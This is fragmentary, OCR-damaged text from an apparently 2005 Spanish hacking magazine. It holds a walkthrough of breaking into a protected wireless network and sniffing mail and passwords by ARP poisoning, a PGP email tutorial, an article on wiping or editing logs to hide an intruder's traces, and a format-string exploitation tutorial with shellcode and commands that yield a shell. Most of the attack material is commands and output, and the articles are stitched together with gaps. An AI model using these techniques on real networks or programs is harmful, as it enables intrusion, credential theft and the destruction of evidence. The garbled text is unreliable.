Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Infiltración en Una Red Wireless Protegida
Infiltración en Una Red Wireless Protegida
4,5 EUROS
00029
8 414090 202756
Con la proliferacin de las ofertas wireless, el nmero de redes de ste tipo va en aumento
da a da. Aunque poco a poco la gente va tomando conciencia de lo importante que es proteger
una red de ste tipo ( verdad? ), veremos como hasta la ms agresiva configuracin de
seguridad (encriptacin WEP de 128 bits, filtrado por direccin MAC, ESSID oculto y DHCP
deshabilitado) no supondr obstculo para un atacante con unos mnimos conocimientos. Te
animas a acompaarme en este ataque? Sigue leyendo ;)
Tenemos indicios que nos llevan a sospechar de ciertas actividades ilegales en la gestin de empleados de la compaa
WADAL SL, pero carecemos de pruebas contundentes, su misin ser obtener dichas pruebas mediante el filtrado del
trfico de su red, pero no le ser fcil.
El nico medio de acceso a sta red es por medio de un AP (punto de acceso inalmbrico) (802.11.bg) que da cobertura
en las inmediaciones del edificio de esta compaa y proporciona acceso a toda la red de la empresa.
Le detallo la informacin que nuestros tcnicos han logrado obtener:
El BSSID de la red es 00:12:34:56:78:90
Encriptacin WEP de 128 bits
Filtrado por direccin MAC.
ESSID oculto.
Dispone de un vehculo camuflado, un porttil con sistema operativo GNU/Linux y tarjeta inalmbrica con chipset
Prism2.
Mucha suerte en su misin
(Imagen 0 )
Si Kismet no puede poner tu tarjeta
automticamente en modo monitor
puedes hacerlo con las wireless-tools:
root@spirit:/#iwpriv <interfaz> monitor 1 1
bien:
root@spirit:/#iwconfig <interfaz> mode monitor
Imagen 0
de esta forma podremos capturar
paquetes sin necesidad de estar
asociados a una red.
En la misin voy a utilizar Kismet (
http:// www.kismetwireless.net/ ), un
sniffer para redes wireless que nos
permitir localizar el AP, adems de
Nos desplazaremos por las inmediaciones del edificio hasta que Kismet
nos detecte paquetes provenientes de
la red de BSSID 00:12:34:56:78:90 y
de ESSID desconocido(Imagen 1).
En este caso he detectado 2 redes con
ESSID oculto, para ver el BSSID de la
red pulsamos 's' y escogemos el tipo de
ordenacin de los nodos, en mi caso
escojo 'b'; una vez el nodo ha sido
Imagen 1
Imagen 2
Imagen 3
El cliente y el AP intercambian
tramas de autentificacin y
asociacin.
Capturando estos paquetes podremos
ver el ESSID.
Tenemos dos opciones, o bien esperar
a que algn cliente se conecte para
capturar las tramas o realizar un ataque
para forzar a clientes conectados la reasociacin con el AP.
Una forma de realizar este ltimo ataque
es hacernos pasar por el AP (clonando
su MAC) y emitir tramas DIASSOC a la
direccin de broadcast (FF:FF:FF:
FF:FF:FF) o a algn cliente especfico
de modo que logremos engaar al cliente
y sta vuelva a asociarse para as poder
capturar las tramas.
Por suerte, existen herramientas que
automatizan este proceso:
deauth , utilidad del proyecto void11.
Imagen 4
http://www.wlsec.net/void11/
essid_jack , utilidad del proyecto
Air-jack http://sourceforge.
net/projects/airjack/
Pa r a l a m i s i n va m o s a u t i l i z a r
essid_jack, su uso es el siguiente:
(listado 1)
Primer paso logrado, ya tenemos el
nombre del ESSID, W4d41B3RT0-007.
Si nos fijamos en la ventana de Kismet
podremos ver cmo ha capturados las
tramas de reasociacin mostrndonos
Listado 1
root@spirit:/home/CrashCool/he2# ./essid_jack
Essid Jack: Proof of concept so people will stop calling an ssid a password.
Usage: ./essid_jack -b <bssid> [ -d <destination mac> ] [ -c <channel number> ] [ -i <interface name> ]
-b: bssid, the mac address of the access point (e.g. 00:de:ad:be:ef:00)
-d: destination mac address, defaults to broadcast address.
-c: channel number (1-14) that the access point is on, defaults to current.
-i: the name of the AirJack interface to use (defaults to aj0).
root@spirit:/home/CrashCool/he2# ./essid_jack -b 00:12:34:56:78:90 -c 5
Got it, the essid is (escape characters are c style):
W4d41B3RT0-007
normalmente se encuentran en
/var/log/kismet, all encontraremos logs
con este forma
Kismet-[mes]-[da]-[ao]-[sesin].[formato]
/var/log/kismet/Kismet-May-17-2005-1.csv
/var/log/kismet/Kismet-May-17-2005-1.dump
/var/log/kismet/Kismet-May-17-2005-1.network
/var/log/kismet/Kismet-May-17-2005-1.xml
E n t r e l o s f o r m a t o s g e n e ra d o s s e
encuentran .csv , .dump , .network,
.xml . El formato .dump es la captura
en bruto o raw dump de todos los
paquetes, es un formato totalmente
compatible con ethereal o tcpdump.
Abrimos con ethereal el .dump correspondiente a la sesin y visualizamos los
paquetes de datos:(Imagen 5)
CrashCool@spirit:/$ ethereal /var/log/kismet/
Kismet-May-17-2005-1.dump
Imagen 5
Imagen 6
CrashCool@spirit:/$ aircrack
aircrack 2.1 - (C) 2004 Christophe Devine
source options:
-i
: capture packet on-the-fly (default)
-r file : extract packet from this pcap file
filter options:
-b bssid : MAC address, Access Point
-d dmac : MAC address, Destination
-s smac : MAC address, Source
-m len : minimum packet length, default: 40
-n len : maximum packet length, default: 512
-u type : fc, type - default: 2 = data
-v subt : fc, subtype - default: 0 = normal
-t tods : fc, To DS bit - default: any
-f fromds : fc, From DS bit - default: any
-w iswep : fc, WEP bit - default: 1
-y
: assume yes & don't save packet
CrashCool@spirit:~$ decrypt
missing required argument
Usage: decrypt (-p <pw> | -f <dictfile>) [-b] [o <offset>] -m <bssid> -e <cryptfile> -d
<decryptfile>
-p: single password to try
-f: dictionary, 1 password per line
-b: skip beacons
-o: offset to frame control (default zero)
-m: bssid to crack
-e: input pcap file
-d: output pcap file
Para descifrar el nuestro usaremos el
comando:
CrashCool@spirit:~$ decrypt -p
6e:23:c8:69:d3:7f:37:d6:58:42:cf:02:13 -m
00:12:34:56:78:90 -b -e /var/log/kismet/KismetMay-17-2005-2.dump -d descifrado WEP.pcap
A
continuacin
abrimos
descifradoWEP.pcap con ethereal:
CrashCool@spirit:~$ ethereal
descrifradoWEP.pcap
Para obtener los datos con mayor rapidez
localizamos paquetes provenientes de
trfico ARP, aqu un paquete capturado:
(Imagen 7)
El gateway de la red es 192.168.0.1, la
IP del cliente es 192.168.0.11 y la
direccin
de
broadcast
es
255.255.255.255 por lo cual ya tenemos
el rango de ips de la red.
Los datos que necesitamos son:
replay options:
-x nbpps : number of packets per second
-a bssid : set Access Point MAC address
Imagen 12
Imagen 7
necesitamos para conectarnos a la red
;), procedamos:
root@spirit:/# iwconfig wlan0 essid W4d41B3RT0-007
1.
Establecemos el nombre del ESSID
2.
Configuramos la clave WEP
root@spirit:/# ifconfig wlan0 192.168.0.150
3.
Nos ponemos la ip 192.168.0.150
root@spirit:/# route add default gw 192.168.0.1
4.
Aadimos el gateway.
Imagen 8
Imagen 10
Arrancamos ettercap en su modo grfico
(GTK)
root@spirit:/home/CrashCool/he2# ettercap -G
Imagen 11
Imagen 9
Imagen 13
Imagen 15
Imagen 14
Imagen 16
Imagen 17
Imagen 18
Que nos asegura que el envenenamiento de ARP se est llevando al
xito? Podemos utilizar el plugin
chk_poison que nos dir si hay
envenenamiento o no:
Activating chk_poison plugin...
chk_poison: Checking poisoning status...
chk_poison: Poisoning process succesful!
Perfecto, para visualizar el trfico de la
red abrimos la pestaa Connections
desde el men View y observaremos
una lista de todas las conexiones activas
en ese momento.
Haciendo doble click sobre cualquiera de
ellas veremos los datos en formato
ASCII: (ver Imagen 18)
Adems de esto Ettercap lleva
incorporado un colector automtico de
contraseas (FTP, POP, TELNET, SSH,
MYSQL, IRC, VNC ... ). Si durante algn
momento de la sesin de esnifado algn
cliente accediera a su correo o a un
servidor ftp, Ettercap nos mostrara en
la ventana de status los datos de acceso
(login y pass).
Continuando con la misin debo obtener
pruebas vlidas de las actividades
ilegales que se sospecha hay en esta
empresa. Tras intervenir varios correos
con Ettercap tengo pruebas que apuntan
a que la empresa WADAL ha estado negociando la venta de sus acciones a otra
10
Bienvenidos una vez ms al Taller de Criptografa. En los dos primeros artculos hemos aprendido
los fundamentos del sistema OpenPGP, los fundamentos matemticos tras la criptografa de clave
pblica, as como el manejo de sus principales implementaciones. Ahora es el momento de empezar
a darle un uso til a todos esos conocimientos... ;-)
Antes de empezar, me gustara decir algo. Cuando empec esta serie de artculos, decid que sera
un "taller" y no un "curso" porque la mayor parte de trabajo recaera en prctica, dejando la teora
como herramienta para comprender la primera. Dado que el tema a tratar era la criptografa, no
me calent mucho la cabeza y eleg el nombre ms obvio para el taller: "Taller de Criptografa".
Ya habiendo terminado el segundo artculo ca en la cuenta de una cosa: sin darme cuenta haba
"copiado" un nombre que ya exista y que significa mucho para todos los aficionados a la criptografa:
El "Taller de Criptografa" de Arturo Quirantes Sierra (profesor de Fsica de la Universidad de
Granada... pero como l mismo dice en su web, podemos respirar tranquilos porque no es contagioso
:-P): http://www.ugr.es/~aquiran/cripto/cripto.htm.
Todo aficionado a la criptografa que sepa leer castellano y no est suscrito al boletn ENIGMA
(http://www.ugr.es/~aquiran/cripto/enigma.htm) de Arturo Quirantes, es poco menos que un
hereje. Yo particularmente soy asiduo lector desde hace mucho tiempo, y os lo recomiendo totalmente.
Aunque no tengo el placer de conocer a Arturo Quirantes en persona, s que cruzamos unos correos
cuando ca en la cuenta de lo desafortunado de la eleccin del ttulo del taller, y fue ms compren
sivo an de lo que yo esperaba. Slo me expres su deseo de que la gente no confundiera este
taller que tienes en tus manos con el suyo. Pues que quede esta nota como aclaracin, al Csar lo
que es del Csar. Mando un saludo para Arturo desde mi humilde rincn. :-)
sino que lo es para casi cualquier protocolo de la red,
incluyendo HTTP.
Si sois aficionados a leer textos sobre seguridad informtica,
seguramente ms de una vez hayis ledo aquello de que
el correo electrnico es como una postal y que cualquiera
puede leerlo por el camino. Y es cierto. De hecho, no
solamente es cierto para correo electrnico (asumo que
hablamos de protocolos estndar como SMTP, POP o IMAP,
no de webmails y dems engendros de la naturaleza :-P)
11
12
Imagen 1
Imagen 2
13
14
Imagen 3
Imagen 4
15
Listado 1
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --comment '
Using GnuPG with Thunderbird - http://enigmail.mozdev.org' --clearsign -u 0xAF95
Listado 2
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --comment '
Using GnuPG with Thunderbird - http://enigmail.mozdev.org' --clearsign -u 0xAF95
93E1 --passphrase-fd 0 --no-use-agent
gpg: skipped "0xAF9593E1": bad passphrase
gpg: [stdin]: clearsign failed: bad passphrase
e n i g m a i l . j s : E n i g m a i l . e n c r y p t M e s s a g e E n d : E r r o r i n c o m m a n d e xe c u t i o n
enigmail.js:
Enigmail.encryptMessage:
Error
in
command
Listado 3
Imagen 5
Imagen 6
Good signature from <emisor> <correo_del_emisor>
Key ID: <KeyID_del_emisor> / Signed on: <fecha_de_firma>
Listado 4
16
execution
Listado 5
Imagen 7
Imagen 8
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 -d
gpg: Signature made Sun Mar 27 14:14:54 2005 CEST using RSA key ID <KeyID>
gpg: BAD signature from "Popolous <correo>"
e n i g m a i l . j s : E n i g m a i l . d e c r y p t M e s s a g e E n d : E r r o r i n c o m m a n d e xe c u t i o n
Listado 6
17
Imagen 9
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 -d --passph
rase-fd 0 --no-use-agent
gpg: encrypted with 4096-bit RSA key, ID 0260BBB0, created 2003-07-21
"Death Master <correo>"
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --verify
gpg: Signature made Mon Apr 25 23:28:02 2005 CEST using DSA key ID <KeyID>
gpg: Good signature from "AcidBorg <correo>"
Listado 7
Imagen 10
Imagen 11
Imagen 12
Imagen 13
18
Imagen 14
Imagen 15
Imagen 16
fondo beige en su cabecera y nos instar
a pulsar en el icono del bolgrafo para
obtener ms detalles (imagen 10). He
tomado como ejemplo un correo
mandado a la lista de correo del Hacklab
Vallekas (otro saludo desde aqu para
toda la gente del Kaslab, de quienes
podis encontrar ms informacin en
http://vallekaslab.ath.cx/) por alguien
cuya clave no se encontraba en mi anillo.
Al pulsar en el icono del bolgrafo
enigmail nos avisar de que no ha podido
verificar la firma por no encontrar la
clave pblica del firmante en nuestro
anillo, as como nos solicitar permiso
19
Imagen 17
E n e n t o r n o s U n i x- l i k e l o s
entornos grficos tienen dos
partes fundamentales: el
servidor grfico y el gestor de
ventanas. El servidor grfico es
el "corazn" del sistema grfico,
y existen varias implementaciones (Xfree86, Xorg...),
mientras que el gestor de
ventanas es el "rostro" del
mismo, la parte visible al
usuario.
Imagen 18
Thunderbird o Mozilla) (imagen 14).
Como veris, tiene un gran parecido
con otras GUI's (imagen 15).
Po d e m o s a c c e d e r a e s t a i n t e r f a z
denominada "OpenPGP Key Manager"
mediante el men Enigmail > OpenPGP
Key Management. Esta opcin resulta
especialmente til a los usuarios de
GnuPG bajo Windows, que de esta forma
pueden evitarse el uso de la lnea de
comandos si les resulta incmoda.
20
Imagen 19
Imagen 20
Evolution (*NIX, Windows): Ahora es
el turno del cliente integrado en el gestor
de ventanas Gnome (imagen 17). La
implementacin OpenPGP es
directamente a travs de GnuPG, y
aunque no implementa tantas opciones
como Kmail o enigmail, son ms que
s u f i c i e n t e s c o m o p a ra m a n e j a r s e
cmodamente con l. Adems, existe
desde hace relativamente poco una
implementacin para sistemas Windows,
por lo que tambin los windowseros
podris disfrutar de este cliente (mucha
gente dice que es de los mejores... fue
uno de los primeros que prob y
personalmente no me gust).
Sylpheed (*NIX, Windows): Este
cliente
grfico
implementa
compatibilidad con GnuPG a travs de
los plugins sylpheed-claws-pgpinlineplugin y sylpheed-claws-pgpmime. No
es un cliente muy conocido, pero es
bastante usado entre los ms frikis de
Linux.
Mutt (*NIX): Se trata de un cliente
para consola (osea, que no tiene modo
21
es a travs de Thunderbird).
Lo primero, vamos a escribir un texto
(yo usar mi queridsimo Vim :-P)
(listado 8).
Ahora lo cifraremos con GnuPG...
(listado 9).
Con lo que hemos obtenido un fichero
texto.txt.asc que contiene:(listado 10).
Copiamos el texto, lo pegamos en la
ventana de composicin de mensaje del
webmail (imagen 21), y lo enviamos.
Ahora comprobamos que ha llegado, se
descifra y la firma se verifica
correctamente (imagen 22).
Consultando la consola de enigmail
vemos que efectivamente as es:
(listado 10).
Imagen 21
Imagen 22
Hola, esto es una prueba...
Wa d a l b e r t i a b e r a l l e s !
Listado 8
master@blingdenstone:~$ gpg --armor --recipient 0xaf9593e1 --sign --encrypt-files texto.txt
You need a passphrase to unlock the secret key for
user: "Death Master <correo_electrnico>"
4096-bit RSA key, ID AF9593E1, created 2003-07-21
master@blingdenstone:~$
-----END PGP MESSAGE-----
Listado 9
de utilizar OpenPGP "universal". Por
ejemplo, podemos estar usando un
cliente que no tenga soporte para
OpenPGP, o que lo tenga mediante
complicados plugins o scripts; o puede
que estemos usando un cliente webmail
y hayamos recibido un correo cifrado
y/o firmado que queramos descifrar y/o
verificar.
22
Listado 10
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 -d --passph
rase-fd 0 --no-use-agent
gpg: encrypted with 4096-bit RSA key, ID 0260BBB0, created 2003-07-21
"Death Master <correo_electrnico>"
gpg: Signature made Sat May 7 15:53:05 2005 CEST using RSA key ID AF9593E1
gpg:
Good
signature
from
"Death
Master
<correo_electrnico>"
{...}
enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --with-colo
ns --list-keys 6F6F3938AF9593E1
Listado 11
Imagen 23
Imagen 24
E x p l i c a r b r e ve m e n t e l a l e ye n d a
utilizada: en verde est marcado el
trayecto durante el cual el correo es
completamente legible para cualquiera
interesado en l; en amarillo est
marcado el trayecto durante el cual no
sabemos el grado de seguridad del
correo (aunque posiblemente sea bajo
o nulo); y en rojo est marcado el
trayecto durante el cual el correo es
ilegible para cualquiera (excepto para
nosotros en el destino) y es por tanto
seguro.
Al usar correo SMTP sin cifrar, el correo
hasta llegar al servidor viaja como una
postal, completamente visible. Desde
el servidor SMTP hasta el servidor POPS
no conocemos el grado de seguridad
23
Imagen 25
que mantienen las conexiones entre los
nodos, pero muy posiblemente sea nulo.
Desde el servidor POPS hasta nosotros,
la conexin viaja cifrada con SSL por lo
que podemos considerar que el correo
est seguro.
24
Muy buenas, es la primera vez que escribo para la revista, espero que os guste y no quedis
decepcionados :-). Si creis que algo no est bien, veis alguna errata o tenis alguna duda,
posteadla en el foro (http://www.hackxcrack.com), y se har lo que se pueda :-p.
Este artculo es bastante terico, siento que sea as, pero es que la teora es necesaria para
luego saber aplicarla a la prctica, el borrado/edicin de huellas :-). Aun as espero que sea
lo ms ameno posible ;)
Como partimos desde cero, voy a empezar explicando lo ms bsico... Si ya sabes lo que son
los logs y donde se guardan, sltate este apartado. Si ya crees saberlo todo sobre los logs,
pasa al siguiente artculo! :P
25
26
Figura 1
Mi archivo /etc/syslog.conf
Figura 2
27
28
Figura 3 Esquema 1
Figura 4 Esquema 2
29
Listado 1
auth.*
|/var/log/pipes/autentificaciones
*.*
|/var/log/pipes/todo
Listado 2
#!/bin/bash
/usr/bin/logcolorise.pl /var/log/pipes/todo >/dev/tty3&
Listado 3
Primero que Sale), tambin llamado
tubera con nombre o fichero de tipo
PIPE. Los ficheros FIFO son bastante
comunes en sistemas UniX, la funcin
de estos ficheros es actuar de
intermediario entre dos programas, un
programa enva los datos al fichero FIFO
y ste los almacena temporalmente,
para poder ser recogidos despus por
un segundo programa. Por ejemplo, la
salida de un programa servir de entrada
de otro programa. Cabe destacar de los
ficheros FIFO que los datos que le llegan
no se guardan en el disco duro, si no
en un buffer, cuando el segundo
programa recoge los datos se vaca ese
buffer y sigue a la espera de nuevos
datos. En nuestro caso lo que hacemos
es enviar los logs a un archivo FIFO
para que otro programa externo pueda
recogerlos y tratar con ellos. Para aclarar
esto un poco, vamos a ver
logcolorise.pl, un script en Perl que
recoger los logs de un PIPE y los
redirigir a una terminal, pero con un
cambio, formatear los logs y saldrn
de colores, para que sean ms legibles
y ms bonitos :P.
Lo primero que tenemos que hacer es
bajarnos el script logcolorise.pl, su
web oficial no va, yo lo he bajado de la
primera url que me ha salido en google,
http://linuxbrit.co.uk/downloads/logc
olorise.pl. Lo descargis con wget en
/usr/bin, y le dais permisos de ejecucin
con chmod +x /usr/bin/logcolorise.pl.
Ahora seguimos los pasos que muestro
a continuacin, siempre como root. He
puesto un comentario en cada rden
para explicar que es lo que hace cada
una, empieza por una almohadilla y est
en color turquesa, eso no lo copiis!(ver
listado 1)
30
@Logger
Listado 4
Bien, ahora vamos al host Logger y
editamos tambin el fichero /etc/
syslog.conf para que enve todo lo que
venga de auth.* al fichero /var/log/auten
tificaciones_webserver. Quedara as:(ver
listado 5)
[...]
auth.*
Listado 5
/var/log/autentificaciones_webserver
Figura 5
Figura 6
si es conmutada (nmero 11 de la
revista, artculo de ARP-Spoofing de
moebius)... Hay alguna manera de
evitar esto? Pues s, una solucin podra
ser unir estos dos equipos con dos
tarjetas de red aparte y cable cruzado,
y la otra podra ser cifrando los
paquetes, Cmo? Con una combinacin
de lo que hemos visto en el apartado
anterior (archivos FIFO) + SSH... Pero
no me quiero extender ms con esto,
as que si estis interesados, a google!
31
C o n e s t o ya h e m o s a c a b a d o c o n
Syslogd... ya era hora eh! Nada, ahora
vamos a ver lo que supongo que estaris
esperando... la edicin y el borrado de
logs!
Figura 7
Ejemplos:
./clear13b hackxcrack -> Borrar la
ltima entrada del usuario hackxcrack.
32
PON AQU
/var/log/apache2/access.log | grep -v
NUESTRAIP >/var/log/apache2
/access.log, o para borrar nuestros
intentos de logueo cat /var/log/auth.log
| grep -v NUESTROUSER >/var/log/
auth.log, y as con los que queramos.
El parmetro -v de grep lo que hace
es no mostrar las coincidencias.
TU PUBLICIDAD
610 52 91 71
precios desde
INFRMATE
sin compromiso!
99 euros
33
Ya estoy aqu de nuevo ;-). Despus de aprender en los dos artculos anteriores cmo explotar
un buffer overflow, tanto en la pila como en el Heap (memoria dinmica), hoy vamos a analizar
un tipo de vulnerabilidad diferente. Se trata de un fallo de programacin descubierto
recientemente (comparado con los desbordamientos de buffer), relativo al uso de las llamadas
cadenas de formato o format strings en ingls. Durante el artculo veremos cmo se usan las
cadenas de formato, qu funciones hacen uso de ellas, y cmo no debemos usarlas para evitar
dichas vulnerabilidades en nuestros programas. Adems, aprenderemos a explotar dichos
errores de programacin, tratando de conseguir ejecutar cdigo arbitrario en nuestras
aplicaciones ;-). Vamos al grano.
Listado 1
34
Tabla 1
tuxed@athenea:~/Artculos HxC/art3$ gcc ejemplo1.c -o ejemplo1
tuxed@athenea:~/Articulos HxC/art3$ ./ejemplo1
Soy una cadena de formato :-P
i= 10
Listado 2
Listado 3
usuales, su significado, y el tipo de
variable que esperan. En el campo Tipo
de Variable, se especifica el modo en
que se pasa el argumento. Cuando
pasamos una variable a una funcin, su
valor se copia en la pila, por lo que se
llama paso de parmetros por valor. Si
lo que pasamos es un puntero a una
variable, lo que se guarda en la pila es
una direccin de memoria, y esto se
llama paso de parmetros por referencia.
Por tanto, en dicho campo se ha diferenciado entre valor y referencia, respectivamente. Por otra parte, cuando digo
Imprime por pantalla en la tabla, es
porque me baso en la funcin printf, pero
otras funciones imprimen en una cadena,
un archivo, u otros sitios (Tabla 1).
Conviene notar el identificador especial
%n. Dicho identificador, como la tabla
indica, no imprime nada por pantalla,
sino que escribe en la direccin de memoria pasada como argumento el nmero
de caracteres que se ha mostrado hasta
el momento. Este identificador es importante para nosotros, pues como veremos
ms adelante, nos va a permitir escribir
en memoria lo que deseemos :-).
Adems de esto, el conversor puede
especificar otras cosas, como el ancho
m n i m o d e l c a m p o. Po r e j e m p l o,
podemos poner %8x para especificar
que como mnimo se van a imprimir por
pantalla 8 caracteres. Ojo porque este
valor es mnimo, y si ponemos un valor
de caracteres menor que el real, se
imprimir el real, y no el mnimo.
Sabiendo todas estas cosas, ya sabemos
perfectamente qu es lo que nos van a
devolver las llamadas a printf del
ejemplo anterior. Vamos a compilar y
ejecutar para comprobar que pasa lo
que todos creemos que pasa ;-) :(ver
listado 2)
Parece que s, verdad? :-). Bien, creo
que ahora todos sabemos cmo
funcionan las cadenas de formato, as
que ya podemos ponernos a investigar
por debajo de ellas. Sin embargo, antes
de ello os voy a explicar un detallito
ms, que puede que nos sea til ms
adelante. Dicho detalle no es ms que
podemos acceder directamente a un
parmetro determinado de la funcin
de formato, mediante una simple
modificacin en la cadena de formato.
Es lo que se llama Direct Parameter
Access, y se utiliza as:
printf(%3$d,a,b,c);
D e e s t a m a n e ra , s i t e n e m o s u n
identificador de formato, por ejemplo
%d, pondremos %X$d, siendo X el
nmero de parmetro que queremos
que sea utilizado por dicho conversor
35
tuxed@zeus:/tmp$
gcc
ejemplo2.c
-o
ejemplo2
Listado 4
tuxed@zeus:/tmp$ ./ejemplo2 "AAAA: %x.%x.%x.%x.%x "
AAAA: bffffb31.4.0.41414141.7825203a tuxed@zeus:/tmp$
Listado 5
tuxed@zeus:/tmp$ ./environm SHELL
La variable SHELL est en la direccin 0xbffffb6b
tuxed@zeus:/tmp$ ./ejemplo2 "`printf "\x6b\xfb\xff\xbf"`. %4\$s "
k. /bin/bash tuxed@zeus:/tmp$
Listado 6
un valor de la memoria, y lo imprime
en el lugar adecuado de la cadena de
formato. Pero, de dnde salen esos
valores? Si has ledo el primero de mis
artculos, pensando un poco lo podrs
adivinar. Si no lo has ledo, ahora mismo
te explico un poco el tema ;-).
Cuando llamamos a una funcin, los
parmetros de sta se guardan en la
pila del sistema. As, cuando la funcin
necesita acceder a algn parmetro,
accede a la pila y recoge su valor. As
pues, cuando en una cadena de formato
especificamos un conversor de formato,
pero no hay un parmetro asociado, lo
que estamos haciendo es leer directamente de la pila. De esta forma, podemos leer la pila del programa vulnerable,
haciendo algo as:(listado 5)
Como ves, hemos ledo 5 nmeros de
32 bits en hexadecimal, gracias al
parmetro %x. Si quisiramos haber
ledo ms datos, habramos puesto ms
veces el conversor %x, y obtendramos
los datos de la pila. Sin embargo, no
slo existe la pila en un proceso, y en
otras secciones de la memoria puede
haber datos realmente interesantes, as
que algo habr que inventar para leer
memoria de cualquier lugar.
36
Listado 7
tuxed@zeus:/tmp$ gcc ejemplo3.c -o ejemplo3
tuxed@zeus:/tmp$
./ejemplo3
lalala
lalala
i en 0x8049560 : fffffffc
tuxed@zeus:/tmp$
Listado 8
tuxed@zeus:/tmp$ ./ejemplo3 "`printf "\x60\x95\x04\x08"`%4\$n"`
#
i en 0x8049560 : 4
tuxed@zeus:/tmp$
Listado 9
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x60\x95\x04\x08"`%8x%4\$n"`
bffffb2f
i en 0x8049560 : c
tuxed@zeus:~/art3$
Listado 10
Imagen 1
Bien, puesto que queremos realizar
cuatro escrituras en memoria, debemos
proporcionar cuatro direcciones de
memoria correlativas. Como la variable
i est en 0x08049560, tendremos que
poner desde sta a la direccin
0x08049563. As pues, las direcciones
de memoria escribirn 16 bytes (0x10
en hexadecimal). Para escribir el primer
byte (0xAA) deberemos escribir en
memoria 0xAA 0x10 = 0x9A (154
decimal). As pues, debemos poner un
relleno de 154 y luego un %4$n.
37
Listado 11
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x60\x95\x04\x08\x61\x95\x04\x08\x62\x95
\x04\x08\x63\x95\x04\x08"`%205x%4\$n%239x%5\$n%239x%6\$n% 239x%7\$n"
` ab c bffffb06 40 8049560
i en 0x8049560 : aabbccdd
tuxed@zeus:~/art3$
Listado 12
static void inicio(void) __attribute__ ((constructor));
static void final(void) __attribute__ ((destructor));
Listado 13
tuxed@zeus:~/art3$ objdump -h ejemplo3
ejemplo3:
Secciones:
Ind Nombre
Tamao
[...]
17 .ctors
Listado 14
Imagen 2
e s c r i b i r e r a m a y o r q u e e l va l o r
inmediatamente posterior, con lo que
la diferencia era positiva, y aumentando
truco:
38
Listado 15
char scode[]="\x31\xc0\x50\x68\x2f \x2f \x73\x68\x68\x2f \x62\x69\x6e\x89
\xe3\x50\x54\x53\x50\x8c\xe0 \x21\xc0\x74\x04\xb0\x3b\xeb\x07\xb0\x0b\x99\x52
\x53\x89\xe1\xcd\x80";
Listado 16
tuxed@zeus:~/art3$ printf "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\
x89\xe3\x50\x54 \x53\x50\x8c\xe0\x21\xc0\x74\x04\xb0\x3b\xeb\x07\xb0\x0b\x99\
x52\x53\x89\xe1\xcd\x80">scode
Las funciones definidas como constructores, son ejecutadas justo antes del
main(), mientras que las funciones
definidas como destructores, se ejecutan
justo antes de la salida del programa.
Para definir un constructor o un destructor, deberemos hacerlo as: (listado 13)
As estaramos declarando la funcin
inicio como constructor, y la funcin
final como destructor. Bien, pero... qu
pintan los constructores y destructores
en todo esto? Vamos a echar un ojo al
programa compilado antes (cdigo
ejemplo3.c) mediante la aplicacin
objdump a ver si encontramos la seccin
.dtors y .ctors:(listado 14)
En la salida anterior (recortada)
podemos observar que las secciones
llamadas .ctors, .dtors y .got son
secciones en las que se puede escribir
(de lo contrario estaran marcadas con
el atributo READONLY. Adems, sabemos
que las direcciones de los destructores
estn en .dtors, y que adems stos
son llamados SIEMPRE al finalizar el
programa.
Sin embargo, nosotros no hemos creado
ningn destructor en el ejemplo3.c, pero
ah aparece la seccin (aunque como
luego veremos est vaca). As pues,
podemos concluir que estas secciones
aparecen en cualquier binario ELF
compilado con gcc, aunque el
programador no haya puesto ningn
constructor/destructor.
Bien, y qu es lo que incluye dicha
seccin? O mejor dicho, Cmo se
incluyen las direcciones de las funciones
en dicha seccin? Qu formato se
sigue? Vamos a echarle un ojo a la
Listado 17
seccin .dtors del ejemplo3, y veremos
su formato ;-) : (listado 15)
Como puedes observar, la seccin .dtors
del programa ejemplo3, mapeada en
memoria en la direccin 0x08049638,
empieza con un 0xFFFFFFFF y acaba
con un 0x00000000. Esto es as porque
esta vez no tenemos ningn destructor.
Sin embargo, si tuvisemos
destructores, sus direcciones apareceran
correlativamente entre 0xFFFFFFFF y
0x00000000. As pues, cuando vaya a
salir nuestro programa, lo que har ser
irse a la seccin .dtors, y empezar a
hacer llamadas a las direcciones que se
encuentran justo detrs del 0xFFFFFFFF
(direccin de .dtors + 4) hasta llegar al
0x00000000. Por tanto, si nosotros
modificamos el 0x00000000 con la
direccin de nuestro cdigo mquina
(shellcode), tendremos como resultado
la ejecucin de dicho cdigo justo antes
de que el programa atacado termine ;-)
As pues, vamos a probar a hacerlo.
Como hemos visto en la salida del
comando objdump, tenemos la seccin
.dtors en la direccin 0x08049638, as
que tendremos que escribir en
0x0804963c la direccin de nuestra
shellcode.
Una vez ms, voy a usar la misma
shellcode, y el mismo mtodo para
39
Listado 18
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x3c\x96\x04\x08\x3d\x96\x04\x08\x3e\x96
\x04\x08\x3f\x96\x04\x08"`%3c%4\$n%232x%5\$n%4x%6\$n% 192x%7\$n"
<=>? 40 804963c
i en 0x8049560 : fffffffc
sh-3.00$
Listado 19
__gmon_start__
R_386_JUMP_SLOT
strcpy
tuxed@zeus:~/art3$
Listado 20
tuxed@zeus:~/art3$ ./ejemplo3 "`printf "\x54\x96\x04\x08\x55\x96\x04\x08\x56\x96
\x04\x08\x57\x96\x04\x08"`%3c%4\$n%232x%5\$n%4x%6\$n% 192x%7\$n"
sh-3.00$
Listado 21
3 escritura: Direccin 0x0804963e,
relleno 0xFF 0xFB = 0x04 ( 4 decimal)
4 escritura: Direccin 0x0804963f,
relleno 0x1BF 0xFF = 0xC0 (192
decimal)
Ahora, con estos clculos en mano, solo
nos falta armar la cadena de formato.
Espero que tanto los clculos de arriba
como la cadena sea perfectamente
comprendida. Si no es as, vuelve a leer
el apartado en el que se habla del
m t o d o p a ra e s c r i b i r va l o r e s e n
memoria, y si an as no lo entiendes,
psate por el foro y te lo intentaremos
explicar de otro modo :-).
Bueno, pasemos a la ejecucin de
nuestro plan:(ver listado 18)
